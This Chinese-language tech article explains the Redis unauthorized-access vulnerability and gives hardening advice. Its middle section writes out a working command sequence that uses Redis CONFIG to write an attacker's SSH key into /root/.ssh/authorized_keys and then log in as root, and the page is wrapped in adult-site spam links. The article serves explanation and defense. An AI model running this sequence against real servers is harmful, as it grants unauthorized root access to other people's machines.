麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 數據庫 > Redis > 正文

關于Redis未授權訪問漏洞利用的介紹與修復建議

2020-03-17 12:37:42
字體:
來源:轉載
供稿:網友

前言

本文主要給大家介紹了關于Redis未授權訪問漏洞利用的相關內容,文中對該漏洞進行了詳細,并給出了相對應的修復/安全建議,下面話不多說了,來一起看看詳細的介紹吧。

一、漏洞介紹

Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 服務器上寫入公鑰,進而可以使用對應私鑰直接登錄目標服務器。

漏洞描述

部分 Redis 綁定在 0.0.0.0:6379,并且沒有開啟認證(這是Redis 的默認配置),如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源 ip 訪問等,將會導致 Redis 服務直接暴露在公網上,導致其他用戶可以直接在非授權情況下直接訪問Redis服務并進行相關操作。

利用 Redis 自身的提供的 config 命令,可以進行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接使用對應的私鑰登錄目標服務器。

redis未授權訪問漏洞,redis未授權訪問利用,redis未授權漏洞

二、漏洞利用

首先在本地生產公私鑰文件:

$ ssh-keygen –t rsa

然后將公鑰寫入 foo.txt 文件

$ (echo -e "/n/n"; cat id_rsa.pub; echo -e "/n/n") > foo.txt

連接 Redis 寫入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit$ redis-cli -h 192.168.1.11$ 192.168.1.11:6379> config set dir /root/.ssh/OK$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK$ 192.168.1.11:6379> saveOK

這里講解下,這里設定了crackit的鍵值為公鑰,并通過redis命令變更Redis DB 文件及存放地點為默認root用戶SSH key存放文件,并將鍵值重定向追加到遠程文件authorized_keys的末尾,也就上傳了公鑰。

這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件里,然后攻擊者直接執行:

$ ssh –i id_rsa [email protected]

可遠程利用自己的私鑰登錄該服務器。

剛剛我們提到公鑰登錄和Redis持久化存放數據操作,這里簡單講下原理

詳細講解ssh登錄–公鑰登錄

SSH提供了公鑰登錄,可以省去輸入密碼的步驟。

所謂"公鑰登錄",原理很簡單,就是用戶將自己的公鑰儲存在遠程主機上。登錄的時候,遠程主機會向用戶發送一段隨機字符串,用戶用自己的私鑰加密后,再發回來。遠程主機用事先儲存的公鑰進行解密,如果成功,就證明用戶是可信的,直接允許登錄shell,不再要求密碼。

這種方法要求用戶必須提供自己的公鑰。如果沒有現成的,可以直接用ssh-keygen生成一個:

$ ssh-keygen

運行上面的命令以后,系統會出現一系列提示,可以一路回車。其中有一個問題是,要不要對私鑰設置口令(passphrase),如果擔心私鑰的安全,這里可以設置一個。

運行結束以后,在$HOME/.ssh/目錄下,會新生成兩個文件:id_rsa.pub和id_rsa。前者是你的公鑰,后者是你的私鑰。

通常這時再輸入下面的命令,將公鑰傳送到遠程主機host上面:

$ ssh-copy-id user@host

authorized_keys文件,遠程主機將用戶的公鑰,保存在登錄后的用戶主目錄的$HOME/.ssh/authorized_keys文件中。公鑰就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。

詳細相關的Redis持久化命令

Redis支持2種持久化策略:snapshot方式和commandlog方式,前者通過將當前內存數據快照周期性寫入RDB文件來實現;后者通過在log中記錄Redis進程收到的寫操作來實現,下次Redis重啟時,回放commandlog來恢復數據狀態。

這里使用RDB文件寫入SSH key文件,需要設置以下兩個 RDB相關配置

dbfilename

指定RDB文件名,默認為dump.rdb

dir

指定RDB文件存放目錄的路徑,若包含多級路徑,則相關父路徑需事先mkdir出來,否則啟動失敗。

set(key, value):給數據庫中名稱為key的string賦予值value

最后Client使用save命令通知redis做一次快照持久化

修復建議/安全建議

1.禁止一些高危命令

修改 redis.conf 文件,添加

rename-command FLUSHALL ""rename-command CONFIG ""rename-command EVAL ""

來禁用遠程修改 DB 文件地址

2.以低權限運行 Redis 服務

為 Redis 服務創建單獨的用戶和家目錄,并且配置禁止登陸

$ groupadd -r redis && useradd -r -g redis redis

3.為 Redis 添加密碼驗證

修改 redis.conf 文件,添加

requirepass mypassword

4.禁止外網訪問 Redis

修改 redis.conf 文件,添加或修改,使得 Redis 服務只在當前主機可用

bind 127.0.0.1

5.保證 authorized_keys 文件的安全

為了保證安全,您應該阻止其他用戶添加新的公鑰。

將 authorized_keys 的權限設置為對擁有者只讀,其他用戶沒有任何權限:

$ chmod 400 ~/.ssh/authorized_keys

為保證 authorized_keys 的權限不會被改掉,您還需要設置該文件的 immutable 位權限:

# chattr +i ~/.ssh/authorized_keys

然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設置 ~./ssh 的 immutable 位權限:

# chattr +i ~/.ssh

注意: 如果需要添加新的公鑰,需要移除 authorized_keys 的 immutable 位權限。然后,添加好新的公鑰之后,按照上述步驟重新加上 immutable 位權限。

總結

以上就是這篇文章的全部內容,希望本文的內容對大家的學習或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對VEVB武林網的支持。

 

注:相關教程知識閱讀請移步到Redis頻道。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 国产69精品久久99不卡免费版 | 黑色丝袜美美女被躁视频 | 久久久久久久久久久久久久av | 国产99久久精品一区二区 | 免费视频a | 国产精品久久久久久影院8一贰佰 | 精品国产一区二区三区久久久狼牙 | 91网址在线观看 | 免费色片| 欧美精品久久久久久久久老牛影院 | 日韩三级伦理在线观看 | av在线免费在线观看 | 欧美成人免费电影 | 久草在线高清视频 | 欧美成人影院 | 在线成人免费av | 日本在线播放一区二区三区 | 国产毛片毛片 | 91 在线观看| 成人精品久久久 | 久久精品一区二区三 | 激情在线免费观看 | 黄色av网站免费 | 免费一级a毛片免费观看 | 欧美成人精品欧美一级乱黄 | 黑人一区 | 男男啪羞羞视频网站 | 久色伊人 | 久久精品亚洲一区二区 | 91精品国产综合久久婷婷香蕉 | 午夜视频久久久 | 草莓视频在线导航 | 亚洲成人伊人 | 色综合网在线观看 | 日韩av片在线免费观看 | 免费在线成人网 | 亚洲精品久久久久久 | 一级黄色在线观看 | 九九热免费精品 | 成人国产精品齐天大性 | 久久96国产精品久久秘臀 |